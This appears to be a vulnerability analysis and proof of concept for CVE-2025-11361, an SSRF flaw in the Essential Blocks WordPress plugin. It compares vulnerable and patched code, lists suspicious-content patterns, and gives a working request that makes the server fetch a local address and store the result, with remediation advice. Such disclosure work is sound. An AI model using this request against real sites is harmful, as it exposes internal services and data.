Contents

CVE-2025-11361 Analysis & POC

The Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) in all versions up to and including 5.7.1, via the function eb_save_ai_generated_image.
This allows an authenticated attacker with Author-level privileges or higher to perform web requests to arbitrary addresses from the web application, and can be abused to query and exfiltrate information from internal services.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - Essential Blocks for Gutenberg: 5.7.1 (vulnerable) and 5.7.2 (patched).
  • Diff tool - Meld or any diff/comparison tool to inspect differences between the two versions.

Vulnerable code:

public function eb_save_ai_generated_image()
{
    if ( ! isset( $_POST[ 'admin_nonce' ] ) || ! wp_verify_nonce( sanitize_key( $_POST[ 'admin_nonce' ] ), 'admin-nonce' ) ) {
        wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
    }
    if ( ! current_user_can( 'upload_files' ) ) {
        wp_send_json_error( __( 'You are not authorized to upload files!', 'essential-blocks' ) );
    }
    // Check if we have either image_url or image_b64 along with prompt
    if ( ( isset( $_POST[ 'image_url' ] ) || isset( $_POST[ 'image_b64' ] ) ) && isset( $_POST[ 'prompt' ] ) ) {
        $image_url   = isset( $_POST[ 'image_url' ] ) ? esc_url_raw( $_POST[ 'image_url' ] ) : null;
        $image_body = '';
        // Handle URL format
        if ( $image_url ) {
            // Download the image from OpenAI URL
            $image_data = wp_remote_get( $image_url, [
                'timeout' => 60
                ] );
            if ( is_wp_error( $image_data ) ) {
                wp_send_json_error( [
                    'message' => __( 'Failed to download image from OpenAI.', 'essential-blocks' )
                    ] );
                return;
            }
            // Detect image format and set appropriate extension and MIME type
            $image_info = getimagesizefromstring( $image_body );
            $mime_type  = $image_info ? $image_info[ 'mime' ] : 'image/png';

            // Determine file extension based on MIME type
            $extension = 'png'; // default
            switch ( $mime_type ) {
                case 'image/jpeg':
                    $extension = 'jpg';
                    break;
                case 'image/png':
                    $extension = 'png';
                    break;
                case 'image/webp':
                    $extension = 'webp';
                    break;
                case 'image/gif':
                    $extension = 'gif';
                    break;
            }
            $image_body = wp_remote_retrieve_body( $image_data );
        }
        // other logic
    } else {
        wp_send_json_error( __( 'Image data (URL or base64) and prompt are required', 'essential-blocks' ) );
    }
}

In the vulnerable version, the code uses wp_remote_get($image_url) to download an image without validating or restricting the source URL. It does not check the HTTP response code, the MIME type, or the actual content of the returned file, allowing an attacker to abuse this to perform SSRF to internal services or to download malicious content disguised as an image.

Patched code:

public function eb_save_ai_generated_image()
{
    if ( ! isset( $_POST[ 'admin_nonce' ] ) || ! wp_verify_nonce( sanitize_key( $_POST[ 'admin_nonce' ] ), 'admin-nonce' ) ) {
        wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
    }
    if ( ! current_user_can( 'upload_files' ) ) {
        wp_send_json_error( __( 'You are not authorized to upload files!', 'essential-blocks' ) );
    }
    // Check if we have either image_url or image_b64 along with prompt
    if ( ( isset( $_POST[ 'image_url' ] ) || isset( $_POST[ 'image_b64' ] ) ) && isset( $_POST[ 'prompt' ] ) ) {
        $image_url   = isset( $_POST[ 'image_url' ] ) ? esc_url_raw( $_POST[ 'image_url' ] ) : null;
        $image_body = '';
        // Handle URL format
        if ( $image_url ) {
            // Download the image from validated URL
            $image_data = wp_safe_remote_get( $image_url, [
                'timeout'     => 30,
                'redirection' => 3,
                'user-agent'  => 'Essential Blocks/' . ESSENTIAL_BLOCKS_VERSION,
                'headers'     => [
                    'Accept' => 'image/*'
                    ]
                ] );
            if ( is_wp_error( $image_data ) ) {
                wp_send_json_error( [
                    'message' => __( 'Failed to download image from URL.', 'essential-blocks' )
                    ] );
                return;
            }
            // Validate response
            $response_code = wp_remote_retrieve_response_code( $image_data );
            if ( $response_code !== 200 ) {
                wp_send_json_error( [
                    'message' => __( 'Invalid response from image URL.', 'essential-blocks' )
                    ] );
                return;
            }
            // Security: Validate image content and size
            if ( ! $this->is_valid_image_content( $image_body ) ) {
                wp_send_json_error( [
                    'message' => __( 'Invalid image content provided.', 'essential-blocks' )
                 ] );
                return;
            }
            // Detect image format and set appropriate extension and MIME type
            $image_info = getimagesizefromstring( $image_body );
            if ( ! $image_info ) {
                wp_send_json_error( [
                    'message' => __( 'Unable to determine image format.', 'essential-blocks' )
                 ] );
                return;
            }

            $mime_type = $image_info[ 'mime' ];

            // Security: Only allow specific image MIME types
            $allowed_mime_types = [
                'image/jpeg',
                'image/png',
                'image/webp',
                'image/gif'
             ];

            if ( ! in_array( $mime_type, $allowed_mime_types, true ) ) {
                wp_send_json_error( [
                    'message' => __( 'Unsupported image format.', 'essential-blocks' )
                 ] );
                return;
            }
            $image_body = wp_remote_retrieve_body( $image_data );
        }
        // other logic
    } else {
        wp_send_json_error( __( 'Image data (URL or base64) and prompt are required', 'essential-blocks' ) );
    }
}

The patch replaces wp_remote_get() with wp_safe_remote_get() to block access to internal addresses, adds HTTP response code checks, validates the content and format of the image (is_valid_image_content() and allowed MIME types), and reduces timeout and redirects — improving safety and mitigating SSRF by handling response data more securely.

private function is_valid_image_content( $image_data )
{
    if ( empty( $image_data ) ) {
        return false;
    }

    // Check file size (max 10MB)
    $max_size = 10 * 1024 * 1024; // 10MB
    if ( strlen( $image_data ) > $max_size ) {
        return false;
    }

    // Validate image using getimagesizefromstring
    $image_info = getimagesizefromstring( $image_data );
    if ( ! $image_info ) {
        return false;
    }

    // Check image dimensions (reasonable limits)
    $max_width  = 4096;
    $max_height = 4096;
    if ( $image_info[ 0 ] > $max_width || $image_info[ 1 ] > $max_height ) {
        return false;
    }

    // Additional security: Check for suspicious content patterns
    // Look for common file signatures that shouldn't be in images
    $suspicious_patterns = [
        '<?php', // PHP code
        '<script', // JavaScript
        'javascript:', // JavaScript protocol
        'data:text/', // Text data URLs
        '<html', // HTML content
        '#!/bin/' // Shell scripts
        ];

    $data_start = substr( $image_data, 0, 1024 ); // Check first 1KB
    foreach ( $suspicious_patterns as $pattern ) {
        if ( stripos( $data_start, $pattern ) !== false ) {
            return false;
        }
    }

    return true;
}

eb_save_ai_generated_image() is registered as the callback for the action hook wp_ajax_save_ai_generated_image:

add_action( 'wp_ajax_save_ai_generated_image', [ $this, 'eb_save_ai_generated_image' ] );

Thus, when accessing the endpoint /wp-admin/admin-ajax.php with the parameter action=save_ai_generated_image, eb_save_ai_generated_image() will be invoked.

To reach the wp_remote_get() execution, the following conditions must be met:

  • Check admin_nonce
if ( ! isset( $_POST[ 'admin_nonce' ] ) || ! wp_verify_nonce( sanitize_key( $_POST[ 'admin_nonce' ] ), 'admin-nonce' ) ) {
    wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
}

By default, when accessing wp-admin, admin_nonce will be set and can be found by inspecting the code and searching for the admin_nonce keyword.

Find admin_nonce by inspecting the code

Find admin_nonce by inspecting the code

  • Check user-level
if ( ! current_user_can( 'upload_files' ) ) {
    wp_send_json_error( __( 'You are not authorized to upload files!', 'essential-blocks' ) );
}

The upload_files capability requires the user to be Author-level or higher.

  • POST request contains image_url and prompt params.
if ( ( isset( $_POST[ 'image_url' ] ) || isset( $_POST[ 'image_b64' ] ) ) && isset( $_POST[ 'prompt' ] ) )

Create a simple local service using Python:

from flask import Flask, jsonify, request, send_from_directory
import os

BASE_DIR = os.path.abspath(os.getcwd())
app = Flask(__name__)

@app.route('/test')
def test():
    return send_from_directory(BASE_DIR, 'requirements.txt', as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8001, debug=True)
hello

Send a request with image_url pointing to a local service http://127.0.0.1:8001/test as an Author user:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-login.php?loggedout=true&wp_lang=en_US
Connection: keep-alive
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=auth%7C1761189920%7CaUULiwmj9KXCapzU3Q82L7W45WcbXbqHowa8a6yQ2Vz%7C3cc12be38f8f94048309b7fcd31bd2187065311afecea7df5a9f01f5a207072b; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=auth%7C1761189920%7CaUULiwmj9KXCapzU3Q82L7W45WcbXbqHowa8a6yQ2Vz%7C38f09626eae6d08f6cdb9cd1ce781da26c2acdd8ef2fd1822d84a6d76c6c95ad; wp-settings-time-4=1761017121

action=save_ai_generated_image&admin_nonce=9433571df4&prompt=abc&image_url=http://127.0.0.1:8001/test

Response:

{
  "success": true,
  "data": {
    "attachment_id": 355,
    "url": "http://localhost/wp-content/uploads/2025/10/ai-generated-abc-1761019403.png",
    "alt": "abc",
    "title": "abc",
    "caption": "",
    "description": ""
  }
}

Result:

Read the stored file at http://localhost/wp-content/uploads/2025/10/ai-generated-abc-1761019403.png using BurpSuite

Result
Content read from the local service

Information

The content cannot be properly viewed in a browser because the content inside ai-generated-abc-1761019403.png ('hello') does not match the Content-Type: image/png returned, so the browser produces a rendering error.

Versions ≤ 5.7.1 of Essential Blocks for Gutenberg are vulnerable to SSRF because they use wp_remote_get() to fetch uncontrolled URLs, allowing an Author user to send requests to internal addresses. The patch in 5.7.2 uses wp_safe_remote_get(), adds response code checks, validates MIME and image content, and thus mitigates SSRF.

  • Update immediately to v5.7.2.
  • Use wp_safe_remote_get() instead of wp_remote_get().
  • Always validate responses (HTTP code, MIME, content).
  • Limit timeout, redirects, and file size.
  • Carefully validate input data and user capabilities.

SSRF (Server Side Request Forgery) — Hacktrick

WordPress Essential Blocks for Gutenberg Plugin <= 5.7.1 is vulnerable to Server Side Request Forgery (SSRF)

Related Content